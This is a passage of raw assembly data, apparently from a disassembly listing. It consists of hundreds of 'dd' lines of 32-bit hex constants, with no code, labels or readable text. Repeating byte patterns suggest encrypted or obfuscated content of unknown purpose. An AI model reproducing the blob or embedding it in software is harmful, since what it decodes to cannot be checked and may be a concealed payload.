0CAD18AB7h, 3CB13A94h dd 0EAB13259h, 685398D5h, 0EE06BA71h, 20F89345h, 0FBF99837h dd 585DB9AEh, 0ABB135D4h, 62BE5256h, 8BEE6486h, 154DF6D5h dd 0DB69B9A3h, 4E585200h, 0FDB13256h, 0E270691Eh, 0F05E3959h dd 542FC6D8h, 0D9117BACh, 7E5919AFh, 85B13256h, 0B32F3956h dd 24F53432h, 0D9BE4FFFh, 0ABB13256h, 0DAE6530Eh, 0EAB129D5h dd 61585256h, 0D2B13256h, 42BA6D75h, 33E71EDDh, 4E8E6792h dd 28D6AD96h, 0B421D467h, 0E058C705h, 0EEB13256h, 53BBA3h dd 3419E602h, 0AEB1DADCh, 0D6EB3256h, 852A5FBCh, 56BEC750h dd 0EAB13258h, 75B13BBFh, 0F76CD456h, 6A958FCDh, 0DB3AF3D5h dd 5B363D5Eh, 0A4B13256h, 0D5B134D9h, 0EA3E3D56h, 0FEB13256h dd 0ED48222Bh, 524D64AFh, 0AEB13FD6h, 57B9DB56h, 15963256h dd 0F49F99C8h, 0A55931DAh, 89B13257h, 3EBEF25Dh, 5DB1328Bh dd 0AEB120BFh, 2E3C4156h, 0C22ED09Ah, 7C5A5A11h, 3F39E7EAh dd 0FEA4523Ah, 3BD752AEh, 3BB6EAA0h, 0CF0DD7EFh, 0C54EC703h dd 0AD9F480Ah, 5ABE6FA3h, 0EAB13258h, 75B13BBFh, 0AAF11456h dd 3403660Eh, 0DB8A244Ah, 0C5353D5Ah, 52B13256h, 0DAAFB930h dd 0EAB135D8h, 74313D56h, 46B13256h, 3D41D5D6h, 0AEBEDAAEh dd 0CE2B3256h, 0B11E4151h, 5FA8EB8Bh, 0C92C9D3Ah, 2EDB8614h dd 0DAAFB837h, 5DA2BA59h, 0A3593256h, 0A3B13256h, 49B19296h dd 28ECB3DDh, 669255A9h, 75B6DB0Dh, 75BF3256h, 0ACA40346h dd 4D31536Ch, 5158CEA6h, 13B13256h, 185D0C24h, 0CF71DAD3h dd 73583256h, 29B13256h, 445A0A94h, 51A4DBB2h, 0D5BECDA9h dd 0ABB13246h, 0D5B139BFh, 27CFBF56h, 74128E39h, 4E9B98ADh dd 0A1CCBBAAh, 5808DAAEh, 0D6BECDA9h, 0ABB13242h, 0D5B6DA36h dd 26F13256h, 0F052CB6Dh, 0B00A6BE0h, 3CABA130h, 0A1EECE0Dh dd 57B13ED3h, 0AD393D56h, 0DAB13256h, 0EAB132D8h, 73586C56h dd 1CB13256h, 0BD6A500Fh, 52F4B92Bh, 57B13CBFh, 64029256h dd 0BE2DB9h, 7F873ACFh, 0BCD9E037h, 0BABDF0AAh, 5DB137BFh dd 0AB7C5E56h, 0BEE4E959h, 0ABB13247h, 2661B504h, 83BDD02h dd 0F4A0616Bh, 54B4503Dh, 45323DB7h, 47B13256h, 57B13245h dd 2C2E12F1h, 0A2EB2A41h, 0F6BEC298h, 96061F8Ah, 31C968BDh dd 390352BAh, 0CF608559h, 0AF49F6D5h, 0A4E7CA01h, 0D5B133D0h dd 12E0C756h, 75B7DB05h, 983F3256h, 5AEEFDF5h, 0AE497791h dd 37B13256h, 0ABB135BFh, 0B1503F56h, 0BBE24F65h, 75B122BEh dd 66E93A56h, 0E73FBB5Fh, 704BD63Eh, 0CAE18870h, 0AB323D78h dd 8BB13256h, 0EB393D37h, 8CB13256h, 0C14FB091h, 5DB03478h dd 23BE3256h, 57B1325Ah, 0ABB7B059h, 5FBE3256h, 0EAB13256h dd 75B0BD59h, 31443256h, 3B493A23h, 2BBE2CDDh, 57B1324Dh dd 0ABA4BC59h, 0C5583256h, 0A7B13256h, 186018DFh, 0FFF93F25h dd 79AF0D72h, 25D583C8h, 79C8C0ECh, 0ABB9DB50h, 0DF1E3256h dd 1D451FC5h, 2A3A305Fh, 0B5D1525Eh, 0EABEEBE1h, 52E7538Fh dd 8CBA530Eh, 0ABD7B659h, 5EBE3256h, 0EAB13257h, 7A6F09A3h dd 0BAB12CD3h, 5C323D56h, 5BB13256h, 0AFBD6FDDh, 42BD6DDFh dd 0D5B1325Dh, 692B261Fh, 38D1062Ch, 39D56AD6h, 0D1BE2691h dd 0AEB13245h, 57B13CBFh, 5BD63456h, 81BB14B8h, 3A717632h dd 9CD328C4h, 454ECDCCh, 5DB121BFh, 0E5798856h, 12F86B19h dd 0A6041DFDh, 775011BCh, 2D5E556Dh, 7AAFB930h, 0BAB13EDFh dd 5B383D56h, 0A1B13256h, 57B132DFh, 434AB256h, 0D63AB659h dd 0EF583256h, 0D0B13256h, 0DA5C6754h, 5258C9D6h, 0AEB24AD2h dd 0AC31C756h, 0C5353DBDh, 20B13255h, 0E553C9D6h, 75B27BD2h dd 0AC343D56h, 52B13256h, 0AEB122DAh, 57BADB56h, 153D3256h dd 81466BC3h, 0E1E2DD85h, 964AB2D5h, 0B9B2B659h, 0B5D13256h dd 0AEB13250h, 93778CC9h, 2BEE3B52h, 0B3D0769Fh, 9D6C9D7h dd 76B9B659h, 34BE3256h, 5DB1325Dh, 0AE3B3D36h, 31B13256h dd 2BD0C9DDh, 5DBEC2B1h, 0EAB1325Eh, 75B3B359h, 0DBD13256h dd 524AB330h, 58353DD6h, 0AEB13254h, 0CB41D1D6h, 1A30FDDDh dd 0BC91751Dh, 54AB237h, 0B86EB659h, 52583256h, 59B13256h dd 271CBF89h, 330269B4h, 0DF7DB36Eh, 61D77364h, 75B8DB48h dd 0BB433256h, 389D22E2h, 2E4E8D3Bh, 0D3BECAB5h, 0ABB13257h dd 6D4AB2AFh, 0EB2BB659h, 0FFD13256h, 843153B3h, 0D0353D53h dd 0A1B13257h, 57B133D7h, 9531CE56h, 0A8353D7Bh, 1FB13257h dd 7AD90CD6h, 0BAB041D2h, 0DF4ECA56h, 0A89F49A8h, 493A54A3h dd 0ABA7BD59h, 0C4583256h, 29B13256h, 4398D67Bh, 84CC4692h dd 0A84A2813h, 0BEA67DBFh, 0BE49D5D6h, 0ABB13253h, 0C5DD9774h dd 11305482h, 0F1BEDAD7h, 0BAB13362h, 5B313D36h, 0A1B13256h dd 57B132D1h, 0ABA5DB56h, 0B84F3256h, 5BA7F31Ch, 66197CBAh dd 0A913BBE3h, 0D0EC2321h, 0C8D038E5h, 31D12CDDh, 5EF494EEh dd 2556B237h, 0EAA2DBA3h, 0ADB03256h, 0E146D408h, 9DFBEA0h dd 0B25FF4AEh, 0C56B2EDBh, 503054FAh, 51BEF2D7h, 0EAB1328Ah dd 7A5852AFh, 0DDB13256h, 0D5BDB052h, 51B24634h, 0D9399A7Bh dd 42E4571Dh, 0D5B13258h, 6FDA00F2h, 2AF95518h, 3B7B1D0h dd 0D3BE6BB9h, 0AEB1325Fh, 0B7305436h, 643A9893h, 8923CD37h dd 8AB71C2Ch, 75B139BFh, 0FB1A1556h, 0C183B582h, 0F1FA8A96h dd 0AD0FDDDh, 0ABBAB659h, 55D13256h, 6FBE76A2h, 75B13256h dd 32BE5237h, 5DB13256h, 52F4BB37h, 9D3B52AFh, 0ABB13FBEh dd 0DA671356h, 3B69E874h, 0F7C43705h, 31D7AF85h, 3CD0688Eh dd 0AE08B36h, 31D14D3Fh, 7331EADDh, 0B5D05320h, 8BEE6336h dd 75A7B259h, 0AA593256h, 6DB13256h, 21E9D3EFh, 0D1A63773h dd 83F4C65Dh, 8DDBED48h, 16CCB137h, 76343D57h, 43B13254h dd 5DB13DBFh, 0A7332956h, 39F8671h, 2A900F6Eh, 2A74B14Dh dd 0FC4488DDh, 7858347Eh, 0C8B13256h, 0F37C05C8h, 0C0CEB794h dd 13D6F813h, 293ACA06h, 0D39F49A8h, 0FB303D36h, 9CB13256h dd 0BAB1325Ah, 0D8205F59h, 50CEA75Ah, 4788ECBh, 0CA478D59h dd 2C810E6Fh, 4D333D0Eh, 15B13257h, 0B56F8D59h, 5DB134DDh dd 0AE333D56h, 36B13256h, 0ABD488DDh, 5CBE347Eh, 0EAB13257h dd 615862AEh, 2DB13256h, 994711E7h, 0B73727E2h, 192E237Fh dd 1F3E1CFh, 5E3D48FDh, 0C4CACCD4h, 793F3D50h, 0DAB13256h dd 5DB1B559h, 15D73256h, 6ED0859Dh, 0BF58026Ah, 92B13256h dd 0EF65DD68h, 1BA70636h, 0C9BFCCA8h, 767A4732h, 0F6F493E1h dd 5685BD59h, 19D13256h, 3CD0C737h, 0EAB13251h, 0C276F2E7h dd 53E149CBh, 5DB1326Bh dd 56F4F5AAh, 57B13254h, 0ABB134BFh, 42E2856h, 3B34C5Eh dd 75B13273h, 0BAB137BFh, 61FA2556h, 0EB767EDAh, 57B133AEh dd 7C3A5256h, 0D5B139BFh, 0E9E3F256h, 0D00786Bh, 0E8A9AD1Dh dd 0AF0BB937h, 0CEB71C2Fh, 58AEB937h, 0ABB13ADCh, 56BE5256h dd 0EAB13256h, 75BCDB37h, 1BE73256h, 88E8A1E0h, 771A6DD5h dd 5C8D3A39h, 4353D8Dh, 3CB13256h, 0EAB13247h, 0A9B79E4Ch dd 33320D29h, 0D6D35BE6h, 546D2157h, 586F0930h, 0ABB177D3h dd 0C558CE56h, 0E3B13256h, 2628FC48h, 478E6BDBh, 768A844Fh dd 25204A91h, 52583E0Bh, 34B13256h, 239283C1h, 0EA494FD5h dd 75BAB659h, 0B9483256h, 0D7BECA0Bh, 0AEB13257h, 53EEBBA3h dd 0F843B936h, 3FD18830h, 2D325308h, 7A495242h, 0BAB134D3h dd 7356B356h, 0CF96B3C7h, 0A84E6EBFh, 0ABBBDBA9h, 0E5803256h dd 3D551129h, 0F3300D3h, 403A5236h, 6ED053AEh, 0AF3D3D96h dd 0AFB13256h, 0ABB5B1BFh, 0DAD15256h, 66BEECE1h, 75B13256h dd 6C0E3D37h, 0D6D7CB37h, 590B5248h, 0BE922E6Fh, 0ABB13244h dd 0AF00EE36h, 5414967Ch, 0B30D565Ah, 246AC2ECh, 0D6D05268h dd 24BE3E2Bh, 57B1325Ah, 0ABB7BC59h, 56BE3256h, 0EAB13256h dd 75B0B459h, 3A4D3256h, 0D9BED9ADh, 0AEB1321Eh, 0ED055236h dd 178B330h, 0B44853D6h, 1F41D1D6h, 7AC1C9D6h, 0BAB180D2h dd 553B3D56h, 0A1B13256h, 57B130DEh, 42D05256h, 0D5B13355h dd 0EAA7BD59h, 64583256h, 0CB13256h, 43A0D4F6h, 0C6344710h dd 0BA190A6Fh, 0CED94363h, 0B5583590h, 0E870B330h, 75A2DA15h dd 1D053256h, 2E6865F0h, 0A321E0EFh, 0CF54CC41h, 0D6C9BFCh dd 29D06DBBh, 0EAB07591h, 15B13256h, 424B8D59h, 0B476B937h dd 0AEB1325Bh, 0CE187CB9h, 8D84C222h, 0A8734451h, 55BE523Ah dd 763D3D80h, 3AB13256h, 0DED07CB0h, 20BE3796h, 57B13257h dd 0A833DBAAh, 0DC583256h, 99B13256h, 4EB329ECh, 39448751h dd 5DBCB859h, 0A6583256h, 50B13256h, 0D9F379CBh, 0B32B8846h dd 0E2BE3591h, 75B0BA59h, 30483256h, 52485248h, 0AEB130D6h dd 36EF6056h, 5EBED1D6h, 2031F9D6h, 12B06DDEh, 75B37591h dd 53B13256h, 5DB1325Ch, 0B9809091h, 80834A44h, 204DC105h dd 0C4353D91h, 3B13256h, 75B1325Ah, 0E4002A42h, 569BB94Bh dd 7A4075AEh, 0A2B7F2D5h, 0ABB231BFh, 20E35256h, 8CD0CA08h dd 0E5210CD7h, 0BAF9B659h, 0DD4D3256h, 2BBEA268h, 57B1322Bh dd 0ABB139BFh, 0B116E056h, 0A0979C3Fh, 0AB99379Ah, 45CFB330h dd 0D9BEA2C6h, 0AEB13274h, 553E3D36h, 21B13256h, 1F3A548Eh dd 0EAFEDB37h, 7F583256h, 0F1B13256h, 0B044258Ch, 0D11DDB56h dd 903AC719h, 1C69B336h, 0DADDAB9Eh, 0EAB137DDh, 0AE305456h dd 0B5D0EE56h, 5DB138D3h, 5D3A5256h, 0A02FD8D7h, 42D008B5h dd 0D5B130D6h, 0EABEB759h, 7F583256h, 5BB13256h, 0D351840Ah dd 4796D625h, 4B33BF1Fh, 0CBB71C2Bh, 0DA4FB930h, 0EAB12ADEh dd 75A3DA56h, 11FC3256h, 0D51434A1h, 0CC35FFD3h, 0B951E40Eh dd 0A4C44240h, 0DAE15309h, 0EAB123DEh, 7E393D56h, 53B13256h dd 5DB13250h, 0AA33FECFh, 0DEBE8C69h, 0ABB13251h, 1A3A5436h dd 0BCD036E3h, 723CDAFh, 0B5B71C2Ch, 5DB121DAh, 0AEBFDB56h dd 0E7C83256h, 0DF20C8AFh, 74BC101Eh, 0D9D16855h, 0F1BEF25Dh dd 0BAB1322Eh, 51585236h, 63B13256h, 0FF40A178h, 35D17D0Ah dd 0B4569083h, 0A5FB330h, 0BD3A53A4h, 0AF3F3DAFh, 0B4B13256h dd 0AEB13246h, 0CB47D9B9h, 4D9B3E32h, 0BF6AAECDh, 0B2AC1F44h dd 8AD80DBh, 53D13478h, 5DB13258h, 685868B4h, 49339CDBh dd 54EC8967h, 5DBE85D1h, 0EAB13252h, 0C7478D30h, 0BAE7DB37h dd 4C583256h, 0E4B13256h, 9221E8BCh, 0F2F93B8h, 0B358881Fh dd 4A0C4D3Ch, 0BB3ACA00h, 454867A3h, 73CB6EC4h, 5BECC750h dd 0A049FC7Dh, 0CBEFCA8Fh, 90288D30h, 0EF5AB330h, 0F0BE539Fh dd 0BAB1324Eh, 0B5D05236h, 0AEB13258h, 0A8416C0Ch, 0B193FDE6h dd 0F790DEC4h, 8BEF2D7Ah, 74494FD5h, 0BA36B759h, 3D443256h dd 0CAC28C30h, 2FB275E9h, 0E2015360h, 0D5A3BE59h, 5FD13256h dd 75B8DB84h, 0E3C03256h, 0A894CD9Dh, 0CF8DA725h, 0EFD7CAFCh dd 0CD49B759h, 0C4303DFDh, 3B13256h, 75B1325Ah, 6DE96BDAh dd 1052B30Fh, 5E81EE07h, 56F78459h, 0ABB123BFh, 25945256h dd 0BD3DD4Ah, 4DFD7325h, 34AA3493h, 0B41A55E2h, 0AEB1325Ch dd 315C99A5h, 7E38BCC0h, 6C58F9A5h, 3B13256h, 75B1325Bh dd 6525B8C7h, 2BB6116h, 28DC10BEh, 0AFCCB177h, 31343D54h dd 2CB13256h, 23BA8A30h, 75B122BFh, 0D7103D56h, 0FAC22D15h dd 1E827BE9h, 0E061B985h, 0A41A547Ah, 0D5B139D3h, 0EAB7DB56h dd 0FD1B3256h, 143D8476h, 0D9BE8A30h, 0AEB126BFh, 3E6CD856h dd 3D6418C3h, 0DCAD7E5h, 0A55ECDEh, 0FFB8BDBAh, 431A54AAh dd 5CF78459h, 0AEA0DA36h, 0A5F83256h, 481C8C82h, 4DBE9E4Fh dd 0C16C7E82h, 80F8E9C7h, 7C0E3D0Dh, 0DCD19937h, 680BA59Ch dd 0BED0CA3Eh, 0ABB13276h, 0D5A1DB36h, 7D613256h, 8B681AEh dd 0FE564189h, 50832CF3h, 6930FA67h, 47771DBEh, 5715C137h dd 2C48F5DDh, 0ED59520Dh, 16B13256h, 0A536E590h, 3CD1BA01h dd 0AF3E3D08h, 0ABB13256h, 22BE6B37h, 0D5B1325Eh, 8CD05236h dd 14EF8BEEh, 88A8036h, 3DEF53F9h, 1F66B330h, 3653B8DEh dd 0ABA0BE59h, 58BE3256h, 0EAB1325Dh, 75B134BFh, 12C9FA56h dd 25F597Bh, 6C49FBAFh, 4658325Eh, 0EAB13256h, 0B120F801h dd 44925BF5h, 39590BEEh, 0B0AE7647h, 5DBEDB03h, 39433256h dd 0D21737BCh, 0DFDF5E0Dh, 37864F39h, 0EABEDB7Eh, 0BBE83256h dd 8F1800F4h, 0E04BEF43h, 0CEB921DBh, 585DB987h, 0ABB13AD7h dd 0D7343D56h, 8AB13256h, 9D445237h, 0BAB13256h, 7E5BB30Ch dd 47B71CFEh, 57B13245h, 59C2CED0h, 1B6AB290h, 0B1F2FB9Ah dd 476E04E4h, 42953412h, 5DB123BFh, 3186A256h, 93CEC902h dd 0B53F57F9h, 5ECA1C73h, 0AF3A5C4Eh, 0FC44CB5Eh, 94CB1FD4h dd 0D7445250h, 0A1D1538Fh, 58D1C4E9h, 0ABB132DBh, 0F305456h dd 8BD0555Bh, 75BFDB37h, 8BF93256h, 72C040EBh, 1F4565CDh dd 3A420B4h, 0A258529Fh, 1B13256h, 1D19B01Eh, 44A9A68Bh dd 0BAB3B559h, 8B3A3256h, 0AEB5F037h, 0A1305436h, 783AE037h dd 5EBE6737h, 0EAB13257h, 993ACBAAh, 0BAB0B659h, 0DE4D3256h dd 0BD58CA92h, 6AB13256h, 0D42BDA71h, 802C333Bh, 3E0B5048h dd 0BE53F270h, 53D12B38h, 5DB13258h, 17918354h, 0A11024A7h dd 51CD32ECh, 0D559B050h, 0B0B13256h, 0DD4BD8D7h, 0A8583478h dd 59B13256h, 0FA8B5A66h, 43FB6C02h, 337BDE1Bh, 0D47BD59Fh dd 53B520Ah, 8DF4F537h, 0BAB13256h, 5DB0B659h, 69483256h dd 57B1CE13h, 0F8D13256h, 8A15C7D6h, 2A8253A3h, 75B0B459h dd 0DC483256h, 4E582CDDh, 0EB13256h, 0CB08A7C8h, 607BE327h dd 51A3F940h, 0E3F094AFh, 0F776E932h, 0BC9F49A8h, 5DB13257h dd 0AEB0BF59h, 31443256h, 3B21C9D7h, 0D59BB759h, 64BE3256h dd 75B1325Ah, 0BAB135BFh, 0FBE4A756h, 14B03243h, 57A3B259h dd 53D13256h, 0D5B138BFh, 34FE0856h, 90C27737h, 0DB28026Dh dd 5259C9D6h, 0AEB5E0D2h, 5D343D56h, 0CBB13256h, 8F08C5D7h dd 0B3E7459Dh, 75BFDB37h, 1DC3256h, 8317DEFFh, 0C66A586Ch dd 1DD50069h, 0ABBFDB16h, 0DBEB3256h, 15F5C301h, 5EDAEAF2h dd 0E206AE41h, 5258C9D6h dd 0AEB5A0D2h, 37F1CB56h, 0CAD152AEh, 0B4D0CBDDh, 0E55AC9D6h dd 75B54CD2h, 5D75256h, 0DCD79640h, 0CF93C081h, 0EC066436h dd 603A540Eh, 0DB587237h, 63B13256h, 34265D38h, 49DD7C5Eh dd 38D65366h, 5E56B260h, 57ABBE59h, 22BE3256h, 0D5B13242h dd 0EAB13DBFh, 0FD1E0356h, 0E4A8E7D9h, 186ABF23h, 95271F43h dd 584AB330h, 83353DD6h, 0B5B13252h, 0AF0F52A3h, 14AA1F36h dd 38B2CA37h, 5B9912A3h, 0AEB121BFh, 48830256h, 8BC4213Eh dd 0D540CCBh, 0CAD18314h, 68294C08h, 4131CB16h, 0B1353DB4h dd 47B13255h, 57B13253h, 590D2232h, 364AB2DFh, 0E97AB659h dd 78583256h, 9B13256h, 0F5040291h, 0CD078336h, 754A8BBCh dd 0CC4AB330h, 69353DB5h, 0E5B13255h, 75B135D9h, 0BB373D56h dd 0A1B13256h, 4741D1D6h, 57B13242h, 522F6E9Fh, 2994A6FEh dd 811409CEh, 80A161F0h, 34C6A826h, 52C1C9D6h, 0AEB2A0D2h dd 0DCD7CB56h, 0B2323D48h, 0DAB13256h, 0EAB121D9h, 75BFDB56h dd 18473256h, 1EDD4C9Ch, 0FB70495Ah, 836D277Ch, 0A449D1D6h dd 0D5B124D5h, 0EAA0DB56h, 0AA53256h, 5525A871h, 4427F91Ch dd 0C44784Fh, 0D7682911h, 2FBE8AADh, 0D5B133C6h, 0EABDB059h dd 0F0BE3256h, 0BAB13250h, 5DB1B459h, 28BE3256h, 57B1324Ch dd 0ABA5B659h, 0DA583256h, 48B13256h, 3B2A9AD0h, 0C754D78Bh dd 548E77B3h, 9031CF8Ch, 2353D53h, 0CBB13257h, 0D5B4BA59h dd 420E3256h, 808D84F2h, 978FB237h, 5C8FB659h, 0A7583256h dd 80B13256h, 99A4BAC3h, 6E9A5DA4h, 0E5D90CD6h, 75B015D2h dd 0BABBDB56h, 872B3256h, 0F51E68F6h, 83DAF18h, 2DBECA16h dd 0D5B13254h, 684E5336h, 739F49A8h, 0BAB121BFh, 0C7C06556h dd 62337668h, 0FD0A6AABh, 9DAC593Ch, 0DAD0FA86h, 0E5AFB930h dd 75B137DCh, 0E2E75256h, 0BA3153AFh, 2FD7CEAEh, 5859B3ADh dd 0ABB1E1D2h, 0D9353D56h, 8AB13256h, 75B1B459h, 5D73256h dd 3BD03D53h, 2E482CDDh, 58D1C2B1h, 0ABB130D4h, 0DA7EB856h dd 0EAB13DD2h, 75B8DA56h, 0D21D3256h, 7DF84840h, 0F48373B7h dd 0AC305437h, 2FBEF2D7h, 0D5B132C6h, 0EABBB459h, 0CDD13256h dd 0AB7E5F74h, 3C428D59h, 7F305236h, 66181134h, 97F28A30h dd 0DD3C3D37h, 0E5B13256h, 75B130DDh, 0EFD05256h, 123CDAAh dd 47B71C2Ch, 57B13242h, 1836B9AEh, 1DD6FC52h, 6BC88A38h dd 46054855h, 0DA72931Bh, 52D1520Bh, 0AEB132DCh, 0BED0CA56h dd 0ABB1325Ah, 1D753860h, 66819A73h, 0D99436B6h, 46F4BB37h dd 5DB0B359h, 0CF443256h, 57B13EBFh, 7EA98A56h, 1F0C4B2Ah dd 602D2E99h, 89CCB1E7h, 82343D57h, 0A1B13250h, 0B84488DDh dd 374D347Eh, 424AB930h, 0D5B13245h, 69141158h, 0EFE7F1B9h dd 6A9ED2CBh, 69E83BDh, 0CF0E7E98h, 43303D06h, 42B13256h dd 0D5B13259h, 0BC040C3Bh, 379DA522h, 0ECA2C16Bh, 0D62C1A7Ch dd 80CACCD4h, 6B88CA50h, 0AA343D66h, 2CB13256h, 0A333D0Eh dd 7AB13253h, 0BAB120D2h, 51383D56h, 47B13256h, 57B13251h dd 0BABEA911h, 3C16BED3h, 0EAB13244h, 8BC7430h, 0C5658BCBh dd 0EE22E2B1h, 36799366h, 0ED3AA561h, 0AD993233h, 0D5B139BFh dd 7FF67E56h, 39405D2Eh, 5844B81Eh, 0B5D15206h, 0AEB13253h dd 0F757739Bh, 41306AA0h, 0DBAE4BCEh, 1ADE8B37h, 0FED00218h dd 94CACCD4h, 0B5E15250h, 0AEB13244h, 93DD8B93h, 4C86DA6Ch dd 36FA0ECEh, 10D612C9h, 2FEF68A9h, 8A8D0B37h, 5DACBE59h dd 2FBE3256h, 57B13241h, 0ABB120BFh, 0ED474D56h, 4C3B4929h dd 0F995C6CAh, 0F406D062h, 52775317h, 0AEB135D9h, 56393D56h dd 52B13256h, 0F13E3D0Eh, 16B13253h, 0FA288DDh, 0BD583478h dd 0DCB13256h, 64940030h, 0D532D391h, 0AD9F4845h, 0A20F5242h dd 12F0343Eh, 1586BB37h, 0DC67B930h, 0D4D0CBDDh, 5B492211h dd 0D53ACB06h, 0AD9F49A8h, 0D5B13BBFh, 2DB7CB56h, 0D01C0FBh dd 0A63A0016h, 5DBEDB66h, 0DBE43256h, 0B07C5404h, 0BC7A0318h dd 2E22EA6Ah, 8A486A3Ah, 14788559h, 0DAB96DDFh, 5DB13ABFh dd 3ABECA56h, 3A1ECED4h, 0CA7AB967h, 0D5B594BFh, 0EABADB56h dd 0A0783256h, 4383E0E5h, 0DD13F6C2h, 56F4F5F1h, 57B13254h dd 0ABB8DBAAh, 12443256h, 0EAB0CA13h, 0FE493256h, 94CB21ECh dd 53353D50h, 47B13256h, 57B1325Fh, 0D5A46E38h, 7FDB11D3h dd 0F933B155h, 61B71C2Ch, 5386BBAAh, 5DB13245h, 2ED9D46Fh dd 1E4FA17Bh, 0E4599DAh, 60C67518h, 36B6E33h, 75B1325Eh dd 0BB415237h, 9814675Ch, 56A175DFh, 58B2CAD5h, 0ABB12BD3h dd 1244CB56h, 0C4CACCD4h, 75B13050h, 0BB383D56h, 0A4B13256h dd 0AEB119BFh, 0AF32CE56h, 0CD3C3D54h, 0B5B13254h, 4D7BBEE9h dd 75B8DA2Dh, 26943256h, 1CE50F6Bh, 47D15979h, 57B13250h dd 0CC7EA951h, 0B4EF3D25h, 0EA494FD5h, 7529B659h, 0D13256h dd 5362E14Fh, 48EB8830h, 11073D37h, 2B18CE57h, 0DAB13256h dd 0EAB16AD3h, 75A2DB56h, 28F53256h, 137FBF30h, 7C3A57CCh dd 850CE3CCh, 11DCCFAh, 5BBE7283h, 0EAB1325Ah, 75B135BFh dd 0B02F3D56h, 0ABB33EEAh, 0CEB4DAD5h, 0D6D7F8DDh, 0CA59D59Ch dd 0D5B109BFh, 0FC3F3D56h, 9CB13256h, 0BAB13247h, 6FCAB555h dd 37C9CDBEh, 5F67183h, 0F639706h, 0D54E1F1Bh, 6DBE3256h dd 75B13259h, 0BAB138BFh, 19E38156h, 1CBED4F0h, 0AF94A114h dd 52B4DAD5h, 0D5B109BFh, 8AE2CE56h, 0B54052E8h, 5D0E5408h dd 0C73A5309h, 0A89F49A8h, 57B13FBFh, 0E2B1BF56h, 0EE3474F8h dd 87017F46h, 713A884Ah, 0BABDDB65h, 9E003256h, 0AC980A26h dd 0A60812E7h, 57EA9340h, 0D5B132FFh, 3E343DD6h, 15B13256h dd 0BAB120BEh, 156B0056h, 76062E0Eh, 5B011492h, 0DA8E0F00h dd 5EFE1EA4h, 0FB5969AEh, 0C7B13256h, 406E1C97h, 0FD742851h dd 99835C9h, 0B334CB13h, 0ABB138BFh, 1CCAE656h, 0DF8B1946h dd 2B01B10Eh, 0B2303D37h, 52B13256h, 0AEB130DFh, 54D05256h dd 6B32CE90h, 57B2C753h, 0EC9F49A8h, 75B13DBFh, 0FB861056h dd 8CEBC87Eh, 0A602F9ABh, 0D909BFD6h, 0A33E3D1Eh, 0DAB13256h dd 0EAB130DAh, 0FCD05256h, 0DCD13A11h, 66D1E9D7h, 0AEB137BEh dd 1759BF56h, 0CAD16594h, 9238530Ch, 0EAA0DB5Ah, 0D8E03256h dd 0A8EC49Ah, 0FE1D3FD9h, 0F5CE6AA7h, 0BEE54128h, 0ABB1301Dh dd 0D5A8B659h, 64BE3256h, 75B13245h, 0BAB13CBFh, 0F82B156h dd 0EE27E292h, 6184B2F6h, 5C76C3EEh, 139AC78Eh, 8A69C5A3h dd 75B1B059h, 39D03256h, 4E583796h, 48B13256h, 0DB4769A1h dd 6D496638h, 0C93C2EB8h, 541DA08Ch, 0F7B2B663h, 0BC9F49A8h dd 0B4D17AA3h, 0AEB13247h, 49A716C0h, 0DEE650ABh, 82C0B80Ah dd 202F7DACh, 7F0F8934h, 46D032F3h, 3DB975DFh, 1540B930h dd 2F72D240h, 0A7F6BB37h, 0D5A1BB59h, 0E1583256h, 25B13256h dd 16801B2Fh, 0C95D05B1h, 474DBABFh, 57B133F9h, 0ABB6B659h dd 5FBE3256h, 0EAB13257h, 897101AAh, 43B074DCh, 0D8BEB2FEh dd 0AEB132A8h, 57B6DB36h, 0D1AA3256h, 0E6A3BACAh, 0EAA2DB05h dd 5CA33256h, 79FA6E52h, 0EF41E9C4h, 0A988835Bh, 88028285h dd 0A158537Fh, 56B13256h, 0A84BB2C9h, 0FEB613DDh, 0B5773162h dd 5DB125DFh, 0A1595256h, 50B13256h, 778B922Ch, 369D5405h dd 0D24CDED8h, 14EBFF7Ah, 53B3F2D5h, 5DB13246h, 7D352E41h dd 0AEB7F149h, 0D6753756h, 560ABD18h, 0EAB133EDh, 74323D56h dd 46B13256h, 0D9BEE95Dh dd 0AEB1326Bh, 0E36DB236h, 832BB837h, 3CB71FC3h, 0EAB13247h dd 24B57EDBh, 0F673ADE3h, 3469F025h, 5B7874CCh, 5652B239h dd 513A5436h, 0D5BCDB00h, 0CCBB3256h, 98FA4478h, 944D4150h dd 4A3AFBAh, 0A1723137h, 57B12AD5h, 0ABA2DB56h, 0CBB73256h dd 0FF74A37Bh, 3C05FAFBh, 0CCC3D2FCh, 0B96746D1h, 0A6F6BBCEh dd 57B0BB59h, 224D3256h, 3C443E11h, 0EAB132F5h, 75B9B359h dd 32BE3256h, 5DB13254h, 76465336h, 57B138BFh, 0A2756356h dd 49502777h, 0CF11FA0Fh, 75B132A9h, 0BAB13EBFh, 32968856h dd 44694F80h, 0CD6FB496h, 0CB7719C3h, 0D5B13ABEh, 0A9AE6156h dd 863A1687h, 9263B377h, 4C91B88h, 0A169C537h, 57B12ED6h dd 20D75256h, 0D5A0DA9Dh, 6B033256h, 12B6FFD0h, 4F45C9EDh dd 86CCD9FAh, 0F5586F83h, 5571B137h, 0ABBDBF59h, 0D2583256h dd 0BBB13256h, 87F093CDh, 0FD38CB0Ah, 0D444C75Eh, 29BE3E11h dd 57B13259h, 0ABB138BFh, 6009556h, 74183F6Ch, 8D25236Ah dd 7C305236h, 367A6DD8h, 0CF42B930h, 36D0E1DDh, 0ABB6B559h dd 57BE3256h, 0EAB13257h, 75BBDBAAh, 0D8AD3256h, 69F22656h dd 0DDA3FA9Dh, 3772C79Fh, 0ABB13EBFh, 63AE1256h, 7073A7A7h dd 7AFBC9B7h, 80298800h, 0B4D034B0h, 0AEB13258h, 0F87F0EBBh dd 31EA1999h, 0FF3330B6h, 8AE46ACAh, 75B13CBFh, 0CA959A56h dd 92D97985h, 596B991Ch, 31B126C9h, 0B3DE0D7h, 0DA5DB937h dd 0EAB133D8h, 0F64DCA56h, 33BECE92h, 5DB13243h, 0AEB122BFh dd 9EA2D56h, 64A31ED1h, 21C22C22h, 0CDC12A3Bh, 0F2BE5273h dd 0BAB13242h, 0B4E86036h, 0AEB1325Dh, 9DD33CE9h, 0BFFC668h dd 0B4BE01D8h, 0EAB132BEh, 9F306856h, 0BC9F81EAh, 5DBDB459h dd 21BE3256h, 57B13250h, 0ABB1B359h, 0B3D13256h, 6A4B76EDh dd 0FED033B5h, 94C8C0ECh, 5DBFDB50h, 97AE3256h, 6A549763h dd 0E5A7661Ah, 4B80B9E4h, 0E158FB65h, 0F6B13256h, 9B417210h dd 74F93368h, 9132F724h, 41353D56h, 